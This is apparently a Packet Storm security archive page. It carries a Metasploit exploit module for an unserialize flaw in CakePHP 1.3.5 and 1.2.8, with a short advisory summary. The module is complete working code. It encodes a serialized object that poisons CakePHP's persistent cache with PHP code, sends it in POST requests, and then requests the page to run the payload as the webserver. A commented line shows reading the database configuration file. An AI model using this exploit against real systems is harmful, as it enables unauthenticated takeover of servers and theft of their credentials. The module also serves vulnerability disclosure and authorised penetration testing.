exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

CakePHP 1.3.5 / 1.2.8 Cache Corruption Exploit

CakePHP 1.3.5 / 1.2.8 Cache Corruption Exploit
Posted Nov 20, 2010
Authored by tdz, Felix Wilhelm | Site metasploit.com

CakePHP is a popular PHP framework for building web applications. The Security component of CakePHP is vulnerable to an unserialize attack which could be abused to allow unauthenticated attackers to execute arbitrary code with the permissions of the webserver. Versions less than and equal to 1.3.5 and 1.2.8 are affected.

tags | exploit, web, arbitrary, php
advisories | OSVDB-69352
SHA-256 | dea34a0c2801eeab996b4917a68c1df259d3d1d8e08d971dace6ac256f486273

CakePHP 1.3.5 / 1.2.8 Cache Corruption Exploit

Change Mirror Download
##
# $Id: cakephp_cache_corruption.rb 11074 2010-11-19 20:43:56Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Exploit',
'Description' => %q{

CakePHP is a popular PHP framework for building web applications.
The Security component of CakePHP is vulnerable to an unserialize attack which
could be abused to allow unauthenticated attackers to execute arbitrary
code with the permissions of the webserver.
},
'Author' => [
'tdz',
'Felix Wilhelm', # poc
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11074 $',
'References' =>
[
[ 'OSVDB', '69352'],
[ 'BID', '44852' ],
[ 'URL', 'http://packetstormsecurity.org/files/view/95847/burnedcake.py.txt' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'Space' => 4000,
# max url length for some old versions of apache according to
# http://www.boutell.com/newfaq/misc/urllength.html
'DisableNops' => true,
#'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
'Compat' =>
{
'ConnectionType' => 'find',
},
'Keys' => ['php'],
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 15 2010'
))

register_options(
[
OptString.new('URI', [ true, "CakePHP POST path", '/']),
OptString.new('OptionalPostData', [ false, "Optional POST data", '']),
], self.class)
end


def exploit
#path = rand_text_alphanumeric(rand(5)+5)
key = rand_text_alphanumeric(rand(5)+5)
fields = rand_text_alphanumeric(rand(5)+5)

#payload = "readfile('../config/database.php'); exit();"
len=payload.encoded.length + 6

p = ""
p << ':O:3:"App":4:{s:7:"__cache";s:3:"bam";s:5:"__map";a:2:{s:4'
p << ':"Core";a:1:{s:6:"Router";s:42:"../tmp/cache/persistent/cake_core_file_map";}'
p << 's:3:"Foo";s:'
p << len.to_s()
p << ':"<? '
p << payload.encoded
p << ' ?>";}s:7:"__paths";a:0:{}s:9:"__objects";a:0:{}}'

#rot13 and urlencode
p = p.tr("A-Ma-mN-Zn-z","N-Zn-zA-Ma-m")
p = CGI.escape(p)

data = "data%5b_Token%5d%5bkey%5d="
data << key
data << "&data%5b_Token%5d%5bfields%5d="
data << fields
data << p
data << "&_method=POST"

#some apps need the form post data
if datastore['OptionalPostData']
postdata = CGI.escape(datastore['OptionalPostData'])
data << "&"
data << postdata
end

print_status("Sending exploit request 1")
res = send_request_cgi(
{
'uri' => datastore['URI'],
'method' => "POST",
'ctype' => 'application/x-www-form-urlencoded',
'data' => data
}, 5)

print_status("Sending exploit request 2")
res = send_request_cgi(
{
'uri' => datastore['URI'],
'method' => "POST",
'ctype' => 'application/x-www-form-urlencoded',
'data' => data
},5)

print_status("Requesting our payload")
response = send_request_raw({
# Allow findsock payloads to work
'global' => true,
'uri' => datastore['URI']
}, 5)

handler
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close